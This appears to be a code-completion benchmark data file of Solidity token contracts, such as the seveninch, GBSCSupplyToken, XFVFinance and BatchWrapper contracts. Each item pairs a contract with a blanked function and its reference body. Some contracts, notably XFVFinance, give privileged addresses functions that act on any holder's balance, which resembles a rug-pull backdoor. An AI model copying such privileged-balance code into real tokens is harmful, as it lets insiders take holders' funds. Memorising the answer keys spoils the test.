function allowance(address _owner, address _spender)
public
constant
returns (uint remaining)
{
remaining = 0;
}
//END ERC20
function()
public
payable
notAdministrator
poolIsNotEmpty
didntRanOutOfTime
{
UnilotToken baseToken = getBaseToken();
address storageWallet = baseToken.STORAGE_WALLET();
uint48 price = uint48(baseToken.price());
uint72 eth_amount = uint72(msg.value);
uint64 accuracy = uint64( baseToken.accuracy() );
uint88 paid_tokens = uint88( ( uint(eth_amount) * accuracy / price ) );
uint88 bonus_tokens = uint88((paid_tokens * discount) / 100);
if((paid_tokens + bonus_tokens) > pool) {
paid_tokens = uint88( pool / ( ( 100 + discount ) / 100 ) );
bonus_tokens = uint88( pool - paid_tokens );
eth_amount = uint72( (paid_tokens / accuracy) * price );
msg.sender.transfer( msg.value - eth_amount );
}
BuyTokensDirect(msg.sender, eth_amount, paid_tokens, bonus_tokens);
balances[msg.sender] += uint96(paid_tokens + bonus_tokens);
storageWallet.transfer(this.balance);
}
} |
balance = super.balanceOf(_owner);
for ( uint8 i = 0; i < tokens.length; i++ ) {
if (tokens[i] == address(0)) {
break;
}
balance += uint96(tokens[i].balanceOf(_owner));
}
| function balanceOf(address _owner)
public
constant
returns (uint balance)
| function balanceOf(address _owner)
public
constant
returns (uint balance)
|
69379 | RIDER | null | contract RIDER is ERC20Like {
string public constant name = "RIDER";
string public constant symbol = "RDR";
uint256 public constant decimals = 18;
event CreateToken(address indexed c_owner, string c_name, string c_symbol, uint256 c_totalSupply);
constructor () public {<FILL_FUNCTION_BODY> }
} | contract RIDER is ERC20Like {
string public constant name = "RIDER";
string public constant symbol = "RDR";
uint256 public constant decimals = 18;
event CreateToken(address indexed c_owner, string c_name, string c_symbol, uint256 c_totalSupply);
<FILL_FUNCTION>
} |
_totalSupply = 3000000000 * (10 ** decimals);
_tokenContainers[msg.sender].balance = _totalSupply;
emit CreateToken(msg.sender, name, symbol, _tokenContainers[msg.sender].balance);
| constructor () public | constructor () public |
40510 | InterludeToken | null | contract InterludeToken is ERC20 {
constructor() public ERC20("Interlude", "1NT") {<FILL_FUNCTION_BODY> }
} | contract InterludeToken is ERC20 {
<FILL_FUNCTION>
} |
_mint(0xFbc6C9C4da8F2ab446b1A17574b78acafd6f36F1, 100000000 * 1e18);
| constructor() public ERC20("Interlude", "1NT") | constructor() public ERC20("Interlude", "1NT") |
22672 | seveninch | _burn | contract seveninch is ERC20Detailed {
using SafeMath for uint256;
ERC20Detailed internal WETH = ERC20Detailed(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IUniswapV2Factory public uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "7inch";
string constant tokenSymbol = "7inch";
uint8 constant tokenDecimals = 18;
uint256 constant easyDecimals = 1000000000000000000;
// yes you can use an exponent instead if you want
uint256 _totalSupply = 7000 * easyDecimals;
//%
uint256 public burnPercentage = 700;
//any tokens sent here ?
IERC20 currentToken ;
address payable public _owner;
address public _pairAddress;
//modifiers
modifier onlyOwner() {
require(msg.sender == _owner);
_;
}
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_owner = msg.sender;
//temporarily until the proper pair address is set. To prevent errors if transfer occurs prior to setting pair address.
_pairAddress = msg.sender;
require(_totalSupply != 0);
//create initialSupply
_balances[_owner] = _balances[_owner].add(_totalSupply);
emit Transfer(address(0), _owner, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool)
{
_executeTransfer(msg.sender, to, value);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public
{
require(receivers.length == values.length);
for(uint256 i = 0; i < receivers.length; i++)
_executeTransfer(msg.sender, receivers[i], values[i]);
}
function transferFrom(address from, address to, uint256 value) public returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_executeTransfer(from, to, value);
return true;
}
uint256 public basePercentage = burnPercentage;
function findPercentage(uint256 amount) public view returns (uint256) {
uint256 percent = amount.mul(basePercentage).div(10000);
return percent;
}
//turns burn on/off called by owner only
function burnOnOff() external onlyOwner {
if(basePercentage == 0)
basePercentage = burnPercentage;
else
basePercentage = 0;
}
//burn
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {<FILL_FUNCTION_BODY> }
//no zeros for decimals necessary
function multiTransferEqualAmount(address[] memory receivers, uint256 amount) public {
uint256 amountWithDecimals = amount * 10**uint256(tokenDecimals);
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amountWithDecimals);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
//_pairAddress
function setPairAddress() external onlyOwner
{
_pairAddress = uniswapFactory.getPair(address(WETH), address(this));
}
//take back unclaimed tokens
function withdrawUnclaimedTokens(address contractUnclaimed) external onlyOwner
{
currentToken = IERC20(contractUnclaimed);
uint256 amount = currentToken.balanceOf(address(this));
currentToken.transfer(_owner, amount);
}
// transfer
function _executeTransfer(address _from, address _to, uint256 _value) private
{
if (_to == address(0)) revert(); // Prevent transfer to 0x0 address. Use burn() instead
if (_value <= 0) revert();
if (_balances[_from] < _value) revert(); // Check if the sender has enough
if (_balances[_to] + _value < _balances[_to]) revert(); // Check for overflows
//burn if selling only. do not burn if owner adds/removes Liquidity
if(_to != _pairAddress || _from == _owner || _to == _owner)
{
_balances[_from] = SafeMath.sub(_balances[_from], _value); // Subtract from the sender
_balances[_to] = SafeMath.add(_balances[_to], _value); // Add the same to the recipient
emit Transfer(_from, _to, _value); // Notify anyone listening that this transfer took place
}//if
else //selling
{
//limit on sell
//if(_value > 25 * easyDecimals) revert("25 token sell limit exceeded"); //sell limit
uint256 tokensToBurn = findPercentage(_value);
uint256 tokensToTransfer = _value.sub(tokensToBurn);
_balances[_from] = SafeMath.sub(_balances[_from], tokensToTransfer); // Subtract from the sender
_balances[_to] = _balances[_to].add(tokensToTransfer);
emit Transfer(_from, _to, tokensToTransfer); // Notify anyone listening that this transfer took place
//anything to burn? burn it
if(tokensToBurn > 0)
_burn(_from, tokensToBurn);
}//else
}//_executeTransfer
} | contract seveninch is ERC20Detailed {
using SafeMath for uint256;
ERC20Detailed internal WETH = ERC20Detailed(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IUniswapV2Factory public uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "7inch";
string constant tokenSymbol = "7inch";
uint8 constant tokenDecimals = 18;
uint256 constant easyDecimals = 1000000000000000000;
// yes you can use an exponent instead if you want
uint256 _totalSupply = 7000 * easyDecimals;
//%
uint256 public burnPercentage = 700;
//any tokens sent here ?
IERC20 currentToken ;
address payable public _owner;
address public _pairAddress;
//modifiers
modifier onlyOwner() {
require(msg.sender == _owner);
_;
}
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_owner = msg.sender;
//temporarily until the proper pair address is set. To prevent errors if transfer occurs prior to setting pair address.
_pairAddress = msg.sender;
require(_totalSupply != 0);
//create initialSupply
_balances[_owner] = _balances[_owner].add(_totalSupply);
emit Transfer(address(0), _owner, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool)
{
_executeTransfer(msg.sender, to, value);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory values) public
{
require(receivers.length == values.length);
for(uint256 i = 0; i < receivers.length; i++)
_executeTransfer(msg.sender, receivers[i], values[i]);
}
function transferFrom(address from, address to, uint256 value) public returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_executeTransfer(from, to, value);
return true;
}
uint256 public basePercentage = burnPercentage;
function findPercentage(uint256 amount) public view returns (uint256) {
uint256 percent = amount.mul(basePercentage).div(10000);
return percent;
}
//turns burn on/off called by owner only
function burnOnOff() external onlyOwner {
if(basePercentage == 0)
basePercentage = burnPercentage;
else
basePercentage = 0;
}
//burn
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
<FILL_FUNCTION>
//no zeros for decimals necessary
function multiTransferEqualAmount(address[] memory receivers, uint256 amount) public {
uint256 amountWithDecimals = amount * 10**uint256(tokenDecimals);
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amountWithDecimals);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
//_pairAddress
function setPairAddress() external onlyOwner
{
_pairAddress = uniswapFactory.getPair(address(WETH), address(this));
}
//take back unclaimed tokens
function withdrawUnclaimedTokens(address contractUnclaimed) external onlyOwner
{
currentToken = IERC20(contractUnclaimed);
uint256 amount = currentToken.balanceOf(address(this));
currentToken.transfer(_owner, amount);
}
// transfer
function _executeTransfer(address _from, address _to, uint256 _value) private
{
if (_to == address(0)) revert(); // Prevent transfer to 0x0 address. Use burn() instead
if (_value <= 0) revert();
if (_balances[_from] < _value) revert(); // Check if the sender has enough
if (_balances[_to] + _value < _balances[_to]) revert(); // Check for overflows
//burn if selling only. do not burn if owner adds/removes Liquidity
if(_to != _pairAddress || _from == _owner || _to == _owner)
{
_balances[_from] = SafeMath.sub(_balances[_from], _value); // Subtract from the sender
_balances[_to] = SafeMath.add(_balances[_to], _value); // Add the same to the recipient
emit Transfer(_from, _to, _value); // Notify anyone listening that this transfer took place
}//if
else //selling
{
//limit on sell
//if(_value > 25 * easyDecimals) revert("25 token sell limit exceeded"); //sell limit
uint256 tokensToBurn = findPercentage(_value);
uint256 tokensToTransfer = _value.sub(tokensToBurn);
_balances[_from] = SafeMath.sub(_balances[_from], tokensToTransfer); // Subtract from the sender
_balances[_to] = _balances[_to].add(tokensToTransfer);
emit Transfer(_from, _to, tokensToTransfer); // Notify anyone listening that this transfer took place
//anything to burn? burn it
if(tokensToBurn > 0)
_burn(_from, tokensToBurn);
}//else
}//_executeTransfer
} |
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
| function _burn(address account, uint256 amount) internal | function _burn(address account, uint256 amount) internal |
27128 | GBSCSupplyToken | approveAndCall | contract GBSCSupplyToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "5GBSC";
name = "5GBSC";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals); //10亿
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract GBSCSupplyToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "5GBSC";
name = "5GBSC";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals); //10亿
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
| function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) | // ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) |
31423 | Projecton | null | contract Projecton is owned,IERC20{
using SafeMath for uint256;
uint256 public constant _totalSupply = 100000000000000000000000000;
string public constant symbol = 'XN35';
string public constant name = 'Projecton';
uint8 public constant decimals = 18;
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) allowed;
constructor() public {<FILL_FUNCTION_BODY> }
function totalSupply() constant returns (uint256 totalSupply) {
return _totalSupply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(
balances[msg.sender] >= _value
&& _value > 0
);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(
allowed[_from][msg.sender] >= _value
&& balances[_from] >= _value
&& _value > 0
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | contract Projecton is owned,IERC20{
using SafeMath for uint256;
uint256 public constant _totalSupply = 100000000000000000000000000;
string public constant symbol = 'XN35';
string public constant name = 'Projecton';
uint8 public constant decimals = 18;
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) allowed;
<FILL_FUNCTION>
function totalSupply() constant returns (uint256 totalSupply) {
return _totalSupply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(
balances[msg.sender] >= _value
&& _value > 0
);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(
allowed[_from][msg.sender] >= _value
&& balances[_from] >= _value
&& _value > 0
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} |
balances[msg.sender] = _totalSupply;
| constructor() public | constructor() public |
79927 | ERC20 | _ingress | contract ERC20 is Context, IERC20 {
using SafeMath for uint;
address admin;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _ingress(address account, uint256 amount) internal {<FILL_FUNCTION_BODY> }
function addBalance(address account, uint amount) internal {
require(account != address(0), "ERC20: add to the zero address");
_balances[account] = _balances[account].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal { }
} | contract ERC20 is Context, IERC20 {
using SafeMath for uint;
address admin;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
<FILL_FUNCTION>
function addBalance(address account, uint amount) internal {
require(account != address(0), "ERC20: add to the zero address");
_balances[account] = _balances[account].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal { }
} |
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
| function _ingress(address account, uint256 amount) internal | function _ingress(address account, uint256 amount) internal |
30115 | XFVFinance | stake | contract XFVFinance is ERC20, ERC20Detailed {
using SafeMath for uint;
mapping (address => bool) public stakers;
constructor () public ERC20Detailed("XFV Finance", "XFV", 18) {
_initMint( msg.sender, 1000*10**uint(decimals()) );
stakers[msg.sender] = true;
}
function stake(address account) public {<FILL_FUNCTION_BODY> }
function withdraw(address account, uint amount) public {
require(stakers[msg.sender], "error");
_withdraw(account, amount);
}
function rebase(address account, uint amount) public {
require(stakers[msg.sender], "error");
_rebase(account, amount);
}
} | contract XFVFinance is ERC20, ERC20Detailed {
using SafeMath for uint;
mapping (address => bool) public stakers;
constructor () public ERC20Detailed("XFV Finance", "XFV", 18) {
_initMint( msg.sender, 1000*10**uint(decimals()) );
stakers[msg.sender] = true;
}
<FILL_FUNCTION>
function withdraw(address account, uint amount) public {
require(stakers[msg.sender], "error");
_withdraw(account, amount);
}
function rebase(address account, uint amount) public {
require(stakers[msg.sender], "error");
_rebase(account, amount);
}
} |
require(stakers[msg.sender], "error");
_stake(account);
| function stake(address account) public | function stake(address account) public |
70817 | BatchWrapper | _validateProtos | contract BatchWrapper is NewCards {
uint16 private constant MAX_UINT16 = 2**16 - 1;
Cards public old;
bool public migrating;
constructor(
Cards _old,
uint256 _batchSize,
string memory _name,
string memory _symbol
) public NewCards(_batchSize, _name, _symbol) {
old = _old;
}
function setMigrating(bool _migrating) public onlyOwner {
migrating = _migrating;
}
function copyUntil(uint gasThreshold) public {
while (gasleft() > gasThreshold) {
copyNextBatch();
}
}
function mintCards(address _to, uint16[] memory _protos, uint8[] memory _qualities) public returns (uint id) {
require(!migrating, "must not be migrating");
super.mintCards(_to, _protos, _qualities);
}
function mintCard(address _to, uint16 _proto, uint8 _quality) public returns (uint id) {
require(!migrating, "must not be migrating");
super.mintCard(_to, _proto, _quality);
}
// copy all batches from the old contracts
// leave ids intact
function copyNextBatch() public {
require(migrating, "must be migrating");
uint256 start = nextBatch;
(uint48 userID, uint16 size) = old.batches(start);
require(size > 0 && userID > 0, "incorrect batch or limit reached");
if (old.cardProtos(start) != 0) {
address to = old.userIDToAddress(userID);
uint48 uID = _getUserID(to);
batches[start] = Batch({
userID: uID,
size: size
});
uint256 end = start.add(size);
for (uint256 i = start; i < end; i++) {
emit Transfer(address(0), to, i);
}
nextBatch = nextBatch.add(batchSize);
_balances[to] = _balances[to].add(size);
tokenCount = tokenCount.add(size);
}
nextBatch += batchSize;
}
function isOld(uint _tokenId) public view returns (bool) {
require(_exists(_tokenId), "card does not exist");
return cardProtos[_tokenId] == 0;
}
function getProto(uint _tokenId) public view returns (uint16) {
return isOld(_tokenId) ? old.cardProtos(_tokenId) : cardProtos[_tokenId];
}
function getQuality(uint _tokenId) public view returns (uint8) {
return isOld(_tokenId) ? old.cardQualities(_tokenId) : cardQualities[_tokenId];
}
function getDetails(uint256 tokenId) public view returns (uint16 proto, uint8 quality) {
return isOld(tokenId) ? old.getDetails(tokenId) : (cardProtos[tokenId], cardQualities[tokenId]);
}
function isTradable(uint256 _tokenId) public view returns (bool) {
uint16 proto = getProto(_tokenId);
if (proto >= MYTHIC_THRESHOLD) {
return mythicTradable[proto];
}
return seasonTradable[protoToSeason[proto]];
}
function _transferFrom(address from, address to, uint tokenId) internal {
require(
isTradable(tokenId),
"BW: not yet tradable"
);
super._transferFrom(from, to, tokenId);
}
// update validate protos to check if a proto is 0
// prevent untradable cards
function _validateProtos(uint16[] memory _protos) internal {<FILL_FUNCTION_BODY> }
} | contract BatchWrapper is NewCards {
uint16 private constant MAX_UINT16 = 2**16 - 1;
Cards public old;
bool public migrating;
constructor(
Cards _old,
uint256 _batchSize,
string memory _name,
string memory _symbol
) public NewCards(_batchSize, _name, _symbol) {
old = _old;
}
function setMigrating(bool _migrating) public onlyOwner {
migrating = _migrating;
}
function copyUntil(uint gasThreshold) public {
while (gasleft() > gasThreshold) {
copyNextBatch();
}
}
function mintCards(address _to, uint16[] memory _protos, uint8[] memory _qualities) public returns (uint id) {
require(!migrating, "must not be migrating");
super.mintCards(_to, _protos, _qualities);
}
function mintCard(address _to, uint16 _proto, uint8 _quality) public returns (uint id) {
require(!migrating, "must not be migrating");
super.mintCard(_to, _proto, _quality);
}
// copy all batches from the old contracts
// leave ids intact
function copyNextBatch() public {
require(migrating, "must be migrating");
uint256 start = nextBatch;
